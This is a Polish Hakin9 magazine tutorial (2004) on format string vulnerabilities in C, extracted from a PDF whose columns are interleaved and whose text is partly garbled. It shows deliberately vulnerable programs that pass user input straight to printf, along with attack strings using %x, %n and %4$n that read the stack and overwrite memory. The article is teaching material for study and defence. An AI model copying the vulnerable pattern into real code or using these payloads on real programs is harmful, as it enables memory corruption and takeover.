[full]format pl, informatyka hacq
[ Pobierz całość w formacie PDF ]
Nadużycia z wykorzystaniem
ciągów formatujących
Piotr Sobolewski, Tomasz Nidecki
Artykuł opublikowany w numerze 5/2004 magazynu
Hakin9
Wszelkie prawa zastrzeżone. Bezpłatne kopiowanie i rozpowszechnianie artykułu dozwolone
pod warunkiem zachowania jego obecnej formy i treści.
Magazyn
Hakin9
, Wydawnictwo Software, ul. Lewartowskiego 6, 00-190 Warszawa, hakin9@hakin9.org
Nadużycia z wykorzystaniem
ciągów formatujących
Piotr Sobolewski, Tomasz Nidecki
W drugiej połowie 2000 r.
w środowiskach związanych
z bezpieczeństwem systemów
informatycznych zawrzało.
Odkryto całkiem nową klasę
nadużyć. Okazało się, że
mnóstwo programów, między
innymi tak znane aplikacje
jak wu-ftpd, Apache i PHP3
czy screen, ma poważne
dziury. A wszystko przez ciągi
formatujące.
gi tekstowe zawierające specjalne
znaczniki rozpoznawane przez funk-
cję
printf()
i jej pochodne (np.
sprintf()
,
fprintf()
). Umożliwiają określenie formatu,
w jakim wyświetlone zostaną podane funkcji ar-
gumenty. Jeśli program umożliwia użytkowni-
kowi przekazanie własnego ciągu tekstowego,
a następnie użyje go jako ciągu formatującego,
w wielu przypadkach intruz może tak przygo-
tować ciąg, by spowodować wykonanie przez
program własnego kodu.
$ ./listing_2
Nazwa irmy: Da
Przeanalizujmy sposób działania ciągów for-
matujących, by dowiedzieć się, skąd nasz pro-
gram wziął wyświetlony ciąg
Da
.
Na Rysunku 1 widać, co dzieje się na sto-
sie, kiedy wykonywany jest program z Listin-
gu 1 (po wywołaniu funkcji
printf()
). Na chwi-
lę przed wywołaniem funkcji na stos odkłada-
ne są argumenty: wskaźnik do ciągu
a
i wskaź-
nik do ciągu formatującego. Następnie funkcja
printf()
bierze ze stosu wskaźnik do ciągu for-
matującego i wypisuje ten ciąg. Kiedy natraia
Sposób działania ciągów
formatujących
Aby zrozumieć, jak działają ciągi formatujące
i jak można wykorzystać je do przejęcia kontroli
nad czyimś programem, spójrzmy na Listing 1.
Przedstawia on program, który korzysta z cią-
gu formatującego, by wypisać krótki tekst:
Z artykułu nauczysz się...
• jak wykorzystać ciągi formatujące do przejęcia
kontroli nad dziurawym programem,
• jak uniknąć błędów umożliwiających wykorzy-
stanie ciągów formatujących we własnych pro-
gramach.
Powinieneś wiedzieć...
• powinieneś znać podstawy programowania
w języku C.
$ ./listing_1
Nazwa irmy: Ogrodpol
Co jednak stanie się, jeśli funkcja
printf()
otrzy-
ma ciąg formatujący, ale nie otrzyma argumen-
tu? Spróbujmy uruchomić program z Listingu 2:
2
www.hakin9.org
Hakin9 Nr 5/2004
C
iągi formatujące w języku C to cią-
Ciągi formatujące
Tabela 1.
Najważniejsze znaczniki w ciągach formatujących
znacznik
formatujący
wynik
przekazywany jako
Listing 1.
Prosty program
korzystający z ciągu
formatującego
%d
liczba całkowita
wartość
%u
liczba naturalna
wartość
int
main
()
{
char
*
a
=
"Ogrodpol"
;
printf
(
"Nazwa irmy: %s
\n
"
,
a
);
}
%x
liczba naturalna,
szesnastkowa
wartość
%s
ciąg tekstowy
odniesienie
%n
liczba wypisanych
dotąd znaków
odniesienie
Listing 2.
Program z Listingu 1
pozbawiony argumentu
���������������
�������������������
int
main
()
{
printf
(
"Nazwa irmy: %s
\n
"
);
}
�����������
��������
��
ze stosu wskaźnik do łańcucha zna-
ków. Ponieważ jednak nie przekaza-
liśmy argumentu, funkcja nie znaj-
dzie tam wskaźnika. Bierze więc ze
stosu kolejne cztery bajty(zawiera-
jące przypadkowe wartości) i traktu-
je je jako wskaźnik do łańcucha zna-
ków, a następnie wypisuje domnie-
many łańcuch.
�����������
�����
�������������
����������
��������
��������
�������������
����������
��������
Rysunek 1.
Co dzieje się na stosie przy wykonywaniu programu z Listingu 1
���������������
�������������������
Jak wykorzystać właściwości
ciągów formatujących
Pole do popisu dla intruza otwiera
się, kiedy programista umożliwi prze-
kazanie ciągu tekstowego tak, by zo-
stał wykorzystany jako ciąg formatu-
jący. Spójrzmy na program z Listin-
gu 3. Teoretycznie nie widać w nim
żadnego błędu – użytkownik podaje
jako argument programu tekst, który
zostaje wypisany. Jeśli jednak w cią-
gu podanym przez użytkownika znaj-
dą się znaki formatujące, efekty mo-
gą być zupełnie inne niż te zamierzo-
ne przez programistę.
Jak już zauważyliśmy po anali-
zie programu z Listingu 2, korzystając
z ciągów formatujących będziemy mo-
gli odczytać wartość stosu. Użyjmy
ciągu
%x
, który powoduje potraktowa-
nie argumentu jako czterobajtowego
adresu i wypisanie go szesnastkowo:
�����������
�����
�������������
����������
��������
��������
�������������
����������
��������
Rysunek 2.
Co dzieje się na stosie przy wykonywaniu programu z Listingu 2
na znacznik
%s
, bierze ze stosu kolej-
ny argument – wskaźnik do zmiennej
a.
Następnie wypisuje to, na co kie-
ruje wskaźnik, jako tekst (
%s
– ciąg
tekstowy, patrz Tabela 1).
Z kolei na Rysunku 2 widać, co
dzieje się na stosie podczas wykona-
nia
printf()
w programie z Listingu 2.
Kiedy
printf()
wypisując ciąg forma-
tujący natraia na
%s
, próbuje pobrać
Listing 3.
Prosty program
umożliwiający wykorzystanie
właściwości ciągów
formatujących do własnych
celów
Listing 4.
Prawidłowe użycie znacznika %n
int
main
(
int
argc
,
char
**
argv
)
{
char
f
[
256
];
strcpy
(
f
,
argv
[
1
]);
printf
(
f
);
}
int
main
()
{
int
a
;
printf
(
"raz dwa trzy %n
\n
"
,
&
a
);
printf
(
"wypisano %d znaków
\n
"
,
a
);
}
Hakin9 Nr 5/2004
www.hakin9.org
3
Listing 5.
Program, który spróbujemy zaatakować
spróbujmy umieścić w niej (na sa-
mym początku tablicy) ciąg
AAAA
,
a następnie wypisać go za pomocą
znacznika
%x
. W tym celu wydajmy
polecenie:
int
main
(
int
argc
,
char
**
argv
)
{
int
x
;
char
f
[
2560
];
strcpy
(
f
,
argv
[
1
]);
printf
(
f
);
printf
(
"
\n
zmienna x umieszczona jest pod adresem
§
%x, jej zawartość to 0x%x
\n
"
,
&
x
,
x
);
}
$ ./listing_5 'AAAA-%x-%x-%x-%x-%x'
AAAA-bffffc44-0-0-41414141-2d78252d
zmienna x umieszczona jest pod adresem
bffffaac, jej zawartość to 0x40156238
$ ./listing_3 '%x-%x-%x'
bffffc4f-0-0
kiego pola do popisu. Możemy co
najwyżej spowodować zakończenie
programu z błędem. Aby uzyskać
coś więcej, musimy panować nad
tym
co piszemy
i
gdzie piszemy
.
Aby się tego nauczyć, spróbuj-
my zaatakować nieco rozbudowaną
wersję programu z Listingu 3, przed-
stawioną na Listingu 5. Rozbudowa
polega na dodaniu zmiennej
z
. Na-
szym celem będzie nadpisanie tej
zmiennej wybraną wartością za po-
mocą ciągu formatującego. Przyjmij-
my, że w zmiennej
x
umieścimy licz-
bę 287454020, czyli szesnastkowe
0x11223344.
Spróbujmy teraz uzyskać kon-
trolę nad tym,
co piszemy
i
gdzie
piszemy
. Jak łatwo wywnioskować,
ciąg
xxx%n
spowoduje zapisanie
pod przypadkowym adresem licz-
by
trzy
(przed
%n
są bowiem trzy
znaki), a na przykład ciąg
xxxxxx%n
– liczby
sześć
. Wiemy więc już, jak
panować nad tym, co piszemy. Nie-
co trudniej uzyskać kontrolę nad
tym, gdzie piszemy.
Zauważmy, że adres, pod któ-
ry zostanie zapisana wartość, jest
brany ze stosu. Jak widać przy po-
równaniu Rysunków 1 i 2, w miejscu,
w którym
printf()
spodziewa się ko-
lejnych adresów (czyli nad ciągiem
formatującym) znajdują się zmien-
ne lokalne funkcji, która wywołuje
printf()
. W naszym przypadku są to
zmienne lokalne funkcji
main()
. Jeśli
w którejś z tych zmiennych umieści-
my adres, pod który chcemy pisać,
zostanie on – w sprzyjających oko-
licznościach – potraktowany przez
printf()
jako adres, pod który ma
zostać zapisana wartość.
Aby przekonać się, że
printf()
rzeczywiście może potraktować za-
wartość zmiennej
f
jako argument,
Jak widać, po napotkaniu znaczni-
ka
%x
funkcja
printf()
pobrała ze
stosu czterobajtowe słowo (oczeku-
jąc w tym miejscu argumentu) i wypi-
sała je szesnastkowo:
bffffc44
. Dru-
gi znacznik spowodował wypisanie
drugiego czterobajtowego słowa ze
stosu, podobnie kolejne. Zauważ-
my, że czwarty znacznik
%x
spowo-
dował wypisanie liczby 0x41414141,
a jest to zapisany szesnastkowo ciąg
AAAA
.
Oznacza to, że pierwsze czte-
ry bajty tablicy
f[]
są przechowy-
wane na stosie w takim miejscu,
że
printf()
traktuje je jako czwarty
pseudoargument. W takim razie, je-
śli zamiast czwartego znacznika
%x
użyjemy
%n
, ten pseudoargument zo-
stanie potraktowany jako adres, pod
który chcemy pisać. W efekcie wyda-
nie polecenia:
Jak się jednak okazuje, stosując je-
den ze znaczników możemy także
pisać w dowolnym miejscu pamię-
ci. Znacznikiem odpowiedzialnym za
ten stan rzeczy jest
%n
. Powoduje on,
że do zmiennej, której adres poda-
ny został jako argument, zapisywa-
na jest wypisana dotychczas licz-
ba znaków. Prawidłowe użycie te-
go znacznika można zaobserwować
w programie z Listingu 4:
$ ./listing_4
raz dwa trzy
wypisano 13 znaków
Jak widać, pierwsze
printf()
wypi-
suje
raz dwa trzy
, a następnie za-
pisuje w zmiennej
a
liczbę wypi-
sanych znaków (czyli trzynaście).
Drugie
printf()
wypisuje zawartość
zmiennej
a
.
Gdybyśmy jednak w pierwszym
printf()
nie podali argumentu (ad-
resu zmiennej
a
), ze stosu pobrane
zostałyby pierwsze z brzegu czte-
ry bajty, potraktowane jako adres
i pod ten właśnie adres zapisana zo-
stałby liczba wypisanych dotąd zna-
ków. Spróbujmy podać programowi
z Listingu 3 ciąg zawierający
%n
:
$ ./listing_5 'AAAA-%x-%x-%x-%n-%x'
spowoduje zapisanie jakiejś liczby
pod adresem
0x41414141
.
My jednak nie chcemy pisać pod
adres
0x41414141
, ale pod adres, pod
którym przechowywana jest za-
wartość zmiennej
x
. Ten adres to
0xbffffaac
. Umieszczenie w tablicy
f[]
bajtu 0x41 było dość proste – tej
liczbie odpowiada litera A w kodzie
ASCII. Aby umieścić tam liczbę 0xbf,
której nie odpowiada żadna zwykła
litera, musimy zastosować mały trik.
Wykorzystamy do tego celu dwa
fakty. Po pierwsze: za pomocą pole-
cenia
echo
możemy wypisać dowol-
ny bajt. Wystarczy użyć przełączni-
ka
-e
i podać szesnastkowo odpo-
wiedni kod:
$ ./listing_3 '%n %n %n %n'
Segmentation fault
Program próbował zapisywać pod lo-
sowymi adresami wartości określają-
ce liczbę wypisanych znaków. Spo-
wodowało to błąd segmentacji.
Szersze możliwości
Zapisywanie losowych liczb pod lo-
sowymi adresami nie daje zbyt wiel-
$ echo -e "\x41\x42\x43\x44"
ABCD
4
www.hakin9.org
Hakin9 Nr 5/2004
Ciągi formatujące
�� �� �� ��
287454020–18=287454002 liter
C
.
Prawie trzysta milionów. Nie będzie
to proste, zwłaszcza, że tablica
f[]
mieści tylko 2560 bajtów.
�� �� �� ��
�� �� �� ��
Na skróty
Zanim dowiemy się, jak korzystać
ze znacznika
%n
do wstawiania du-
żych liczb, przyjrzyjmy się jesz-
cze jednej przydatnej cesze funk-
cji
printf()
. Dotąd w celu skorzy-
stania z czwartego pseudoargu-
mentu najpierw kazaliśmy
printf()
skorzystać z trzech poprzednich.
W ten sposób, jeśli chcieliśmy, że-
by znacznik
%n
pisał pod adres
umieszczony w czwartym pseudo-
argumencie, najpierw umieszcza-
liśmy w ciągu formatującym trzy
znaczniki
%x
.
Ten cel można jednak osiągnąć
w prostszy sposób. Polecenie:
�� �� �� ��
�� �� �� ��
Rysunek 3.
Sztuczka umożliwiająca zapisywanie dużych liczb za pomocą
mniejszych
Po drugie: jeśli w poleceniu zawrze-
my jakąś komendę zamkniętą w zna-
kach odwróconego apostrofu (
``
), zo-
stanie ona wykonana, a poleceniu
zostanie przekazany wynik. Przy-
kład: polecenie
cat `which ls`
jest
równoważne
cat /bin/ls
.
Łącząc te dwa fakty, możemy
wydać polecenie:
resem
bffffaac
, musimy podać
ten adres w linii poleceń zamiast
0x11223344:
$ ./listing_5 \
`echo -e '\xac\xfa\xff\xbf'`\
'-%x-%x-%x-%x-%x'
Źú˙ż-bffffc44-0-0-bffffaac-2d78252d
zmienna x umieszczona jest pod adresem
bffffaac, jej zawartość to 0x40156238
$ ./listing_5 \
`echo -e '\x41\x41\x41\x41'`'-%4$x'
$ ./listing_5 \
`echo -e '\x41\x41\x41\x41'`\
'-%x-%x-%x-%x-%x'
Jak widać, w czwartym pseudoar-
gumencie znajduje się 0xbffffaac,
czyli adres zmiennej
x
. Teraz wy-
starczy zamiast czwartego znacz-
nika
%x
użyć
%n
, a spowodujemy
zmodyikowanie zawartości zmien-
nej
x
:
spowoduje wypisanie czwartego
pseudoargumentu – odpowiada za
to znacznik
%4$x
.
i będzie ono równoważne poleceniu:
AAAA-41414141
zmienna x umieszczona jest pod adresem
bffff9ec, jej zawartość to 0x4015d550
$ ./listing_5 'AAAA-%x-%x-%x-%x-%x'
Tak więc, aby czwartym pseudoar-
gumentem była liczba 0x11223344
możemy wydać polecenie:
./listing_5 \
`echo -e '\xac\xfa\xff\xbf'`\
'-%x-%x-%x-%n-%x'
Źú˙ż-bffffc44-0-0--2d78252d
zmienna x umieszczona jest pod adresem
bffffaac, jej zawartość to 0x12
Podobnie, aby zmodyikować za-
wartość zmiennej
x
, możemy
wprost nakazać pisanie pod adres
określony przez czwarty pseudo-
argument:
$ ./listing_5 \
`echo -e '\x11\x22\x33\x44'`\
'-%x-%x-%x-%x-%x'
./listing_5 `echo -e \
'\xac\xfa\xff\xbf'`'-%4$n'
Źú˙ż-
zmienna x umieszczona jest pod adresem
bffffaac, jej zawartosc to 0x5
Jego efekt będzie następujący:
Udało nam się nadpisać zmienną
x
,
ale nie wartością 0x11223344, tylko
0x12 (dziesiątkowe 18) – tyle wła-
śnie znaków zostało wypisanych,
zanim funkcja
printf()
dotarła do
znacznika
%n
. Wystarczy więc dopi-
sać przed znacznikiem
%n
kilka do-
wolnych znaków (na przykład liter
C
), a do zmiennej
x
trai odpowiednio
większa liczba.
Policzmy, ile liter
C
musimy do-
dać. W tej chwili do
x
traia licz-
ba 18, a chcemy, żeby traiało tam
287454020, czyli szesnastkowe
0x11223344. Musimy więc dopisać
"3D-bffffc44-0-0-44332211-2d78252d
zmienna x umieszczona jest pod adresem
bffffaac, jej zawartość to 0x40156238
Uwaga: podczas przeprowadzania
eksperymentów może okazać się, że
kiedy jako argument linii poleceń po-
damy ciąg o innej długości, zmien-
na
x
jest przechowywana pod innym
adresem. Dlatego za każdym razem
trzeba uważnie przyglądać się po-
dawanemu przez program adresowi
zmiennej
x
i, jeśli trzeba, odpowied-
nio zmieniać wartość podawaną w li-
nii poleceń.
Jak widać, teraz czwartym pseudo-
argumentem jest wartość, którą po-
daliśmy w linii poleceń. Bajty pojawi-
ły się jednak w odwrotnej kolejności,
ze względu na fakt, że pracujemy na
architekturze
little endian
.
Chcąc więc zapisać coś w miej-
scu, pod którym przechowywa-
na jest zmienna
x
, czyli pod ad-
Hakin9 Nr 5/2004
www.hakin9.org
5
[ Pobierz całość w formacie PDF ]